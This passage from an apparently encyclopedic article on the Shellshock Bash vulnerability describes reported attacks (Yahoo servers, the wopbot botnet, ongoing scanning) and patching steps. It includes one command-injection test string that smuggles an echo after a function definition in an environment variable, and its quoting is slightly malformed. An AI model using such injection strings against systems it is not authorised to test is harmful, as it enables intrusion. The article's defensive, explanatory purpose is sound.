Cybersecurity expert Jonathan Hall discovered that romanian hackers exploited the Shellshock vulnerability to breach Yahoo! servers. They specifically targeted access points to the Yahoo! Games network, which has millions of users. The servers were vulnerable due to using an outdated version of Bash. Yahoo confirmed the incidents, stating they responded with patches and isolated some affected servers. However, at that time, there was no evidence of compromised user data. [21][22]

DDoS Attacks

Within a day of Shellshock's disclosure, attackers exploited the Bash vulnerability to create a botnet named wopbot. This botnet targeted vulnerable servers, launching distributed DoS (DDoS) attacks against Akamai's content delivery network (CDN) servers and attempting to compromise the U.S. Defense Department's network, which includes about 16.7 million IP addresses. While Tiger Security experts partially shut down the botnet's control systems, the botmaster server of wopbot remains operational, continuing to spread malware. [23]

Other Attacks

According to a report by Solutionary’s Security Engineering Research Team (SERT), the Shellshock vulnerability was still being exploited ten months after its disclosure. Despite available protections, many systems remained vulnerable. Nearly 600,000 Shellshock-related events originated from over 25,000 unique IP addresses, mostly trying to identify susceptible systems. The USA, China, Korea, the UK, Germany, and Japan were the top sources of these attacks, with educational institutions being primary targets. Most successful attacks involved downloading and executing Bash scripts, with various attackers, including known botnets, continuing to exploit the vulnerability. [24]

Defense and Mitigation Strategies

Patches and Updates

In the course of the six vulnerabilities' discoveries, Chet Ramey released three patches named bash43-025, bash43-026, and bash43-027, primarily addressing the issues in CVE-2014-6271, CVE-2014-7169, and CVE-2014-7186, with the last one also addressing all remaining ones [25]. The patching process itself varies depending on the operating system but typically includes the following basic steps [26]:

  • Updating repository information: To ensure that the package manager being used is up to date and includes the latest updates and security patches, an update command is executed.
    For Debian-based systems: apt-get update
    For Red Hat-based systems: yum update
  • Updating Bash: To update the Bash package, the appropriate command provided for the system is used.
    For Debian-based systems: apt-get install --only-upgrade bash
    For Red Hat-based systems: yum update bash
  • Verification of installation: To verify the functionality of the patch, it's essential to test the system for the security vulnerability. Depending on the specific variant of the vulnerability (see section Attack Vectors), this can be done, for example, by entering the following command:
    env x=() { :;}; echo vulnerable’ bash -c "echo test"
    
    A non-vulnerable system should prevent the execution of code after a function definition and instead provide an error message.

References

  1. https://en.wikipedia.org/wiki/Shellshock_(software_bug)
  2. Chet Ramey and Brian Fox. Bash Reference Manual, Free Software Foundation, 5.2 edition, 2022.
  3. Matthew Broberg. The Birth of the Bash Shell, 2019. Retrieved December 17, 2023.
  4. 4.0 4.1 Ben Grubb. Stephane Chazelas: The Man Who Found the Web's 'Most Dangerous' Internet Security Bug, 2014. Retrieved December 17, 2023.
  5. National Institute of Standards and Technology (NIST). CVE-2014-6271 Detail, 2021. Retrieved December 18, 2023.
  6. Steven Vaughan-Nichols. Shellshock: Better 'bash' patches now available, 2014. Retrieved December 17, 2023.
  7. 7.0 7.1 Prutha Parikh. Bash Shellshock Command Injection Vulnerabilities, 2014. Retrieved December 17, 2023.
  8. National Institute of Standards and Technology (NIST). CVE-2014-7186 Detail, 2018. Retrieved December 17, 2023.
  9. 9.0 9.1 Florian Weimer. Non-Upstream Patches for Bash, 2014. Retrieved December 17, 2023.
  10. 10.0 10.1 10.2 10.3 Michał Zalewski. Bash Bug: The Other Two RCEs, or How We Chipped Away at the Original Fix (CVE-2014-6277 and '78), 2014. Retrieved December 17, 2023.
  11. Mendel Cooper. Advanced Bash-Scripting Guide: Chapter 19. Here Documents, 2014. Retrieved December 17, 2023.
  12. National Institute of Standards and Technology (NIST). CVE-2014-7187 Detail, 2018. Retrieved December 17, 2023.
  13. National Institute of Standards and Technology (NIST). CVE-2014-6277 Detail, 2018. Retrieved December 17, 2023.
  14. National Institute of Standards and Technology (NIST). CVE-2014-6278 Detail, 2021. Retrieved December 17, 2023.
  15. ricmac. 1993: CGI Scripts and Early Server-Side Web Programming, 2021. Retrieved December 17, 2023.
  16. Madhav Mehndiratta. Exploiting a Shellshock Vulnerability, 2020. Retrieved December 17, 2023.
  17. Wolfgang Kandek. BASH Shellshock Vulnerability – Update5, 2020. Retrieved December 20, 2023.
  18. Tudor Enache. Shellshock Vulnerability, 2014. Retrieved December 17, 2023.
  19. Kim Zetter. Georgia Election Systems Could Have Been Hacked Before 2016 Vote, 2020. Retrieved December 17, 2023.
  20. Eduard Kovacs. Worm Uses Shellshock to Infect QNAP Network Storage Systems, 2014. Retrieved December 17, 2023.
  21. Zachary Davies Boren. html/ Shellshock: Romanian Hackers Are Accessing Yahoo Servers, Claims Security Expert, 2014. Retrieved December 17, 2023.
  22. Jonathan Hall. Yahoo! Shellshocked Like Ninja Turtles!, 2014. Retrieved December 17, 2023.
  23. Juha Saarinen. First Shellshock Botnet Attacks Akamai, US DoD Networks, 2014. Retrieved December 17, 2023.
  24. Eduard Kovacs. Shellshock Flaw Still Actively Exploited: Solutionary, 2015. Retrieved December 17, 2023.
  25. Lucian Constantin. Improved Patch Tackles New Shellshock Bash Bug Attack Vectors, 2014. Retrieved December 17, 2023.
  26. Mitchell Anicas. How to Protect Your Server Against the Shellshock Bash Vulnerability, 2014. Retrieved December 17, 2023.